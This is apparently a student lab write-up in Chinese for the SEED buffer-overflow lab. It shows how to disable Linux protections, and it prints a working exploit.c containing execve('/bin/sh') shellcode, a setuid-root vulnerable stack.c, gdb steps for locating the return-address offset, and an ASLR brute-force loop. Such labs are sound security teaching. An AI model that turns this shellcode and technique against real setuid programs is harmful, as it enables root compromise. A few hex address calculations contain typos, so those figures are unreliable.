Buffer-Overflow Vulnerability Lab——山东大学网络攻防实验

实验描述

①实验环境

实验使用seed-ubuntu-12.04 系统，可在seed官网下载（包括实验程序），也可使用笔者提供的镜像和程序。

官网Link: http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/

csdn资源Link: 

②实验内容

        实验给出了一个有缓冲区溢出漏洞的程序stack.c，它会从文件中读取数据，并拷贝至自己的缓冲区。我们需要利用这个漏洞获得root权 限，通过精心设计exploit.c 攻击程序，使其利用用户程序的漏洞产生badfile 文件，从而使用户程序读取badfile 时，被攻击者控制。 此外，我们将接触在Linux中实施的几种保护方案，并评估其有效性。

实验过程

①linux保护机制介绍

        为了防止缓冲区溢出漏洞，已经研究出了多种保护机制，在实验中接触到的是： Address Randomization 地址空间随机化、Non-executable Stack 不可执行栈、“Stack Guard”三种。在利用缓冲区溢出漏洞实现攻击或者单独考量某种保护机制的有效性的过程中，我们需要使某些机制失效（禁用）。

（1）禁止地址随机化机制

$ sudo su
    Password: (enter root password)
# sysctl -w kernel.randomize_va_space=0

（2）允许地址随机化机制

$ sudo su
    Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2

（3）允许或禁止可执行栈（在编译c程序时设置）

允许：

$ gcc -z execstack -o test test.c

禁止：

$ gcc -z noexecstack -o test test.c

（4）关闭gcc的“Stack Guard”

$ gcc -fno-stack-protector -o test test.c 

②gdb调试指令准备

为了能使编译后得到的可执行文档可以使用gdb调试，需要在编译时加上-g参数，如：gcc -g -o test test.c

（1）b main  ——> 在main函数执行出设置断点

（2）p /x &str  ——>  以十六进制打印str（字符串名）的存储地址

（3）disass bof  ——>  输出bof（函数名）的反汇编代码

③C库函数strcpy()介绍

strcpy() 函数用来复制字符串，其原型为：char *strcpy(char *dest, const char *src);

【参数】dest 为目标字符串指针，src 为源字符串指针。

【返回值】成功执行后返回目标数组指针 dest。

此次缓冲区溢出实验，其本质是利用了strcpy()函数在复制字符串时不检测源字符串长度是否超过了为目的字符串分配的空间的大小，而出现了源字符串数容覆盖其他内存空间的缺陷。

注：值得一提的是，C语言的字符串特性是：在字符串最后一个字节存放空字符——“\0”，用来标志字符串结束。利用这一特性，后面的shellcode内存存放位置可以有两种方式（在后面介绍）。

Task1: Exploiting the Vulnerability 

任务一：要求在关闭所有保护机制的情况下，完成漏洞程序的设计，并实现攻击。设计思路是，合理的填充badfile文件的内容，实现在用户程序stack.c读取该文件并拷贝到自己的缓冲区（即bof（char *str）函数栈帧存储空间）后，由于缓冲区溢出，执行bof函数的返回地址内存单元被覆盖且对应换成了shellcode的首地址，接下来用户程序执行shellcode并启动了带有用户程序权限的shell。

①攻击程序exploit.c

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    strcpy(buffer+100,shellcode);			//将shellcode拷贝至buffer
    strcpy(buffer+0x24,"\xbb\xf1\xff\xbf");		//在buffer特定偏移处起始的四个字节覆盖sellcode地址
    /* Save the contents to the file "badfile" */
	
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

        因为在攻击程序exploit.c编译执行后，buffer的内容即badfile的数据。所以需要将shellcode拷贝至buffer，至于shellcode地址相对buffer的偏移值可以随意取，合理即可。

strcpy(buffer+0x24,"\xbb\xf1\xff\xbf");

        这行代码，在buffer特定偏移处起始的四个字节中写入了一个字。攻击程序exploit.c构造badfile文件，而后被漏洞程序读取，进而拷贝进自己的缓冲区。所以漏洞程序有了shellcode，特定偏移是为了实现拷贝过程中shellcode的首地址正好覆盖bof函数执行后的返回地址。显然的覆盖的内容即漏洞程序shellcode地址，最后，无论是特定偏移量还是shellcode都可在gdb调试下获取。

②禁止地址随机化

$ sudo su
    Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

③编译漏洞程序stack.c，并设置权限（设置不可执行栈和关闭“Stack Guard”）

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

$ su root 
    Password: (enter root password)
# gcc -g -o stack -z execstack -fno-stack-protector stack.c 
# chmod 4755 stack 
# exit

④gdb下调试stack，获取shellcode地址和bof函数执行后返回地址

（1）获取shellcode地址

$ gdb stack
(gdb) b main
(gdb) r
(gdb) p /x &str

        从上图可以看到，漏洞程序读取badfile 文件到缓冲区str，且str的地址为0xbffff157，计算上shellcode偏移量100（0x64）,则shellcode地址为0xbfff1bb

（2）计算bof函数执行后返回地址

接下来就应该获取bof函数执行后的返回地址了，在这之前我们需要知道函数调用过程中的堆栈帧结构

bof函数反汇编

        因为bof函数调用了strcpy函数，即把从文件读入的数据备份进了自己的缓冲区，为了实现shellcode地址覆盖掉返回地址，我们需要知道返回地址相对于buffer的偏移量，这样我们在构造badfile文件时在相应偏移量出写上codeshell地址即可。

        结合上面两幅图我们可以知道，在进入bof函数前，先向栈内压入了函数实参str的地址，然后是返回地址，随后进入函数，压入ebp寄存器（老），再修改ebp（新）和设置esp（分配存储空间）。。。。从反汇编代码中可以知道buffer首地址距ebp的偏移为0x20，则距返回地址的偏移为0x24。

⑤攻击测试

这样攻击程序exploit.c就可以设计好了，接下来编译exploit.c并执行，然后用漏洞程序测试。

$ gcc -o exploit exploit.c
$ ./exploit    // create the badfile 
$ ./stack      // launch the attack by running the vulnerable program 
# <---- Bingo! You’ve got a root shell!
# id

⑥另一种方案

      前面的exploit.c程序中，在buffer首地址起始特定偏移处我们使用strcpy函数覆盖了四字节的shellcode首地址，所以“\xbb\xf1\xff\xbf”被当做字符串处理，也就会在后面加上字符串结束标识符“\0”，所以当stack.c程序在将文件内容（等同于str数组内容）拷贝到自己的缓冲区时，也是使用strcpy()方法，只会将“\xbb\xf1\xff\xbf”及其以前的数据拷贝到缓冲区，这样在main函数栈内的shellcode（str数组）就不会被覆盖，所以我们shellcode首地址必须由str数组首地址计算。

  strcpy(buffer+0x24,"\xbb\xf1\xff\xbf");//在buffer特定偏移处起始的四个字节覆盖sellcode地址

      当然有了上面的解释，另一种方案就很明显了。我们使用另一种方法来填充shellcode首地址，相应的四字节的填充内容也要根据bof函数栈buffer数组首地址计算。

      注：关于怎样查看栈空间数据在两种方案下是否被覆盖的问题，可以在gdb调试环境下使用“x/100x  $sp”指令，可输出从栈顶起始100字的内存单元的十六进制数据（从低地址到高地址）。

（1）获取bof函数栈buffer数组首地址

$ gdb stack
(gdb) b main
(gdb) r
(gdb) n
(gdb) n
(gdb) s
(gdb) p /x &buffer

（2）计算shellcode地址并修改填充方式

0xbffff118 + 100（0x64） = 0xbffff7c

buffer[0x24]='\x7c';     
buffer[0x25]='\xf1';     
buffer[0x26]='\xff';     
buffer[0x27]='\xbf';

按照之前的步骤，同样的可以获得root shell。

Task2: Address Randomization

        现在我们来关注地址随机化这一保护机制。当开启地址随机化保护机制时，程序运行栈的基地址是随机的，但是对于每个特定的操作系统，地址随机范围都是确定的，如果将地址随机情况模拟显示出来，可以发现他们显示在为不同的较为集中的区域。

        但是无论怎么变化，在一定时间内，我们都可以假设会出现两次地址相同的情况。这样我们无需改变Task1的地址设置，合理的设置指令，不停地尝试运行漏洞程序，直到成功启动root shell。

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
    Password: (enter root password) 
# exit
$ sh -c "while [ 1 ]; do ./stack; done;"

Task3: Stack Guard

        现在我们考虑GCC提供的“Stack Guard”保护机制。在完成此任务之前，请记住首先关闭地址随机化，否则不知道哪个保护有助于实现保护。  在此任务中，可以考虑在存在“Stack Guard”的情况下重复Task1。 要做到这一点，你应该编译程序没有-fno-stack-protector'选项，所以将重新编译易受攻击的程序stack.c，以使用GCC的“Stack Guard”，再次执行Task1。 

        在GCC4.3.3和更新的版本，默认情况下启用“Stack Guard”。 因此，您可以使用前面提到的开关禁用堆栈保护。 在早期版本中，它在默认情况下被禁用。 如果使用较旧的GCC版本，您可能不必禁用Stack Guard。

        可以看到此时报出两个错误，第一个是因分配空间不足引起的"stack smashing detected"，第二个是段错误。